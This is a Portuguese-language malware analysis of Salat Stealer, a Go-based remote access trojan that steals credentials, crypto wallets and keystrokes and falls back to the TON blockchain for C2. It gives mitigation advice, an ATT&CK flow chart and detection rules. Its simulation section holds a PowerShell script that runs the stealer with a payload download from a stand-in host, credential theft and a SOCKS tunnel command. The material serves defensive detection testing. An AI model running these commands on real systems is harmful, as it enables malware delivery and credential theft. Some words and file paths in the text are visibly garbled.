Análise do Salat Stealer: Resiliência em C2 Baseado em Go e Capacidades de Roubo de Informações
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Salat Stealer é um trojan de acesso remoto baseado em Go que funciona como uma estrutura completa de pós-exploração. Ele suporta múltiplos canais de comunicação, incluindo WebSocket, HTTP/2, HTTP/3 e QUIC, oferecendo aos operadores opções flexíveis e resilientes de comando e controle. O malware também inclui amplas capacidades de roubo de credenciais, visando dados de navegador, carteiras de criptomoedas, pressionamentos de tecla, capturas de tela e pivoteamento de rede através de SOCKS5. Para sobreviver a reinicializações, ele utiliza cópias de arquivos ocultas, tarefas agendadas e uma chave de registro Run. Se sua infraestrutura primária for interrompida, o malware pode recuperar detalhes atualizados de comando e controle através do blockchain TON.
Investigação
A análise explica como o malware deriva as chaves de criptografia a partir de strings estáticas combinadas com o nome do host da vítima, para depois usá-las para descriptografar cinco URLs de comando e controle incorporadas. Os pesquisadores também documentaram como o Salat Stealer seleciona seu protocolo de transporte, processa comandos do operador, tenta a escalada de privilégios e implanta múltiplos métodos de persistência no host. O relatório ainda delineia a gama de dados roubados e as funções mais amplas de acesso remoto disponíveis para o atacante.
Mitigação
Os defensores devem monitorar conexões para as URLs de comando e controle identificadas, bem como tráfego inesperado de QUIC e WebSocket para destinos desconhecidos. As equipes de segurança também devem ficar atentas a tarefas agendadas ocultas e entradas de chave Run suspeitas que apontem para executáveis desconhecidos. Listagem de aplicações permitidas e controles de execução rigorosos podem ajudar a prevenir a execução da carga útil baseada em Go. A segmentação da rede e a inspeção de TLS podem ainda melhorar a visibilidade do tráfego de saída suspeito associado ao malware.
Resposta
Se a atividade do Salat Stealer for detectada, isole imediatamente o sistema afetado, colete imagens de memória e disco e termine os processos maliciosos. Remova todos os artefatos de persistência, incluindo tarefas agendadas, entradas de chave Run e cópias de arquivos ocultas usadas pelo malware. Os domínios de comando e controle identificados devem ser bloqueados, junto com quaisquer buscas relacionadas ao blockchain TON usadas para descoberta de infraestrutura de fallback. Credenciais expostas e carteiras de criptomoedas também devem ser rotacionadas ou protegidas sem demora.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Malware definition malware_salatr["<b>Malware</b> – <b>Name</b>: Salat Stealer (Go RAT)<br/><b>Description</b>: Trojan de acesso remoto baseado em Go usado para roubo, persistência e movimento lateral."] class malware_salatr malware %% Initial execution process process_start["<b>Processo</b> – <b>Nome</b>: SalatStealer.exe<br/><b>Ação</b>: Inicia, recupera seu próprio caminho, verifica instância existente, pode contornar UAC.<br/><b>Técnica</b>: T1548.002 Contornar Controle de Conta de Usuário<br/><b>Técnica</b>: T1027.008 Arquivos Ofuscados/Armazenados"] class process_start process malware_salatr –>|executa| process_start %% Persistence mechanisms persistence_task["<b>Ação</b> – <b>T1053.005 Tarefa Agendada</b>: Cria tarefa agendada oculta com nome mascarado (explorer.exe)."] class persistence_task action persistence_reg["<b>Ação</b> – <b>T1547.001 Chaves de Registro Run / Pasta de Inicialização</b>: Entrada HKCURun usando nome disfarçado (svchost.exe)."] class persistence_reg action process_start –>|cria| persistence_task process_start –>|cria| persistence_reg %% Defense evasion defense_evasion["<b>Ação</b> – <b>T1027 Arquivos Ofuscados</b>: Seisuo2011modo de ofuscação de string e derivação de chave peru2011máquina."] class defense_evasion action process_start –>|aplica| defense_evasion %% System discovery discovery["<b>Ação</b> – <b>T1082 Descoberta de Informações do Sistema</b>: Coleta SO, CPU, GPU, RAM, título da janela ativa, status de administrador e constrói um identificador de agente."] class discovery action process_start –>|executa| discovery %% Credential access credential_access["<b>Ação</b> – <b>T1555.003 Credenciais de Navegadores Web</b>: Despeja navegadores Chromium, Firefox, Discord, Steam e senhas criptografadas com DPAPIu2011.<br/><b>Técnicas adicionais</b>: T1056.001 Keylogging, T1115 Dados da Área de Transferência."] class credential_access action process_start –>|executa| credential_access %% Collection of data collection["<b>Ação</b> – <b>T1113 Captura de Tela</b>, <b>T1125 Captura de Vídeo</b>, <b>T1560.001 Arquivo via Utilitário</b>: Captura tela, vídeo da webcam e arquiva dados em arquivos ZIP."] class collection action credential_access –>|coleta| collection %% Command and control c2["<b>Ação</b> – <b>T1071.005 WebSocket</b> e <b>T1071.001 Protocolo Web</b>: Comunica-se via QUIC/WebSocket com URLs criptografadas; recai para endpoints alternativos e blockchain TON.<br/><b>Técnica</b>: T1008 Canais de Fallback"] class c2 action collection –>|exfiltra via| c2 %% Exfiltration exfiltration["<b>Ação</b> – <b>T1041 Exfiltração Sobre Canal C2</b>, <b>T1048 Exfiltração Sobre Protocolo Alternativo</b>, <b>T1020 Exfiltração Automatizada</b>: Envia dados arquivados e credenciais roubadas."] class exfiltration action c2 –>|envia dados| exfiltration %% Execution of remote commands command_exec["<b>Ação</b> – <b>T1059.003 Shell de Comando do Windows</b>: Recebe e executa instruções da linha de comando do atacante.<br/><b>Técnica</b>: T1090.001 Proxy SOCKS5 para tunelamento."] class command_exec action exfiltration –>|recebe comandos| command_exec %% Lateral movement via proxy lateral["<b>Ação</b> – <b>T1090.001 Proxy (SOCKS5)</b>: Estabelece túnel SOCKS5 interno para pivoteamento e movimento lateral."] class lateral action command_exec –>|estabelece| lateral "
Fluxo de Ataque
Detecções
Comando e Controle Suspeito por Pedido DNS de Domínio de Alto Nível (TLD) Incomum (via dns)
Ver
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via evento de registro)
Ver
Execução de Processos do Sistema de Caminhos Não Típicos (via criação de processo)
Ver
IOCs (HashSha256) para detectar: Análise do Salat Stealer Go Based RAT C2 Resiliência e Capacidades de Roubo de Informações
Ver
IOCs (HashSha1) para detectar: Análise do Salat Stealer Go Based RAT C2 Resiliência e Capacidades de Roubo de Informações
Ver
IOCs (HashMd5) para detectar: Análise do Salat Stealer Go Based RAT C2 Resiliência e Capacidades de Roubo de Informações
Ver
Detecção das Atividades do Salat Stealer RAT [Windows Sysmon]
Ver
Detecção de Padrões de Comunicação C2 do Salat Stealer [Conexão de Rede do Windows]
Ver
Detecção de Execução e Modo do Salat Stealer [Criação de Processo do Windows]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e os narrativos DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa e Comandos do Ataque:
Um adversário entregou o binário Salat RAT (salat.exe) ao host vítima via um anexo de phishing. Depois de obter uma base de baixo privilégio, o atacante executa o binário com argumentos específicos para:- Baixar uma carga útil secundária –
main.downloadFile https://malicious.example.com/payload.exe. - Roubar credenciais armazenadas –
main.Steal -module credentials. - Estabelecer um túnel SOCKS peer-to-peer para movimento lateral –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
O binário é lançado de uma sessão PowerShell elevada para satisfazer o requisito de elevação (T1548). Cada invocação aparece como uma criação de processo Sysmon distinta com a linha de comando correspondente, satisfazendo a correspondência de string da regra Sigma.
- Baixar uma carga útil secundária –
-
Script de Teste de Regressão:
# ------------------------------------------------- # Script de simulação do Salat RAT - aciona a detecção # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # Garantir que o binário existe (placeholder - em um teste real o binário seria pré-estagiado) if (-Not (Test-Path $binaryPath)) { Write-Error "Binário Salat não encontrado em $binaryPath" exit 1 } # 1. Baixar carga útil secundária Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. Roubar credenciais Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. Abrir o túnel P2P SOCKS Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "Simulação concluída." -
Comandos de Limpeza:
# ------------------------------------------------- # Limpeza para simulação do Salat RAT # ------------------------------------------------- # Terminar quaisquer processos Salat remanescentes Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # Remover o binário (se permitido) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Removido $binaryPath" } # Opcionalmente limpar eventos Sysmon relacionados do índice de teste (exemplo Splunk) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'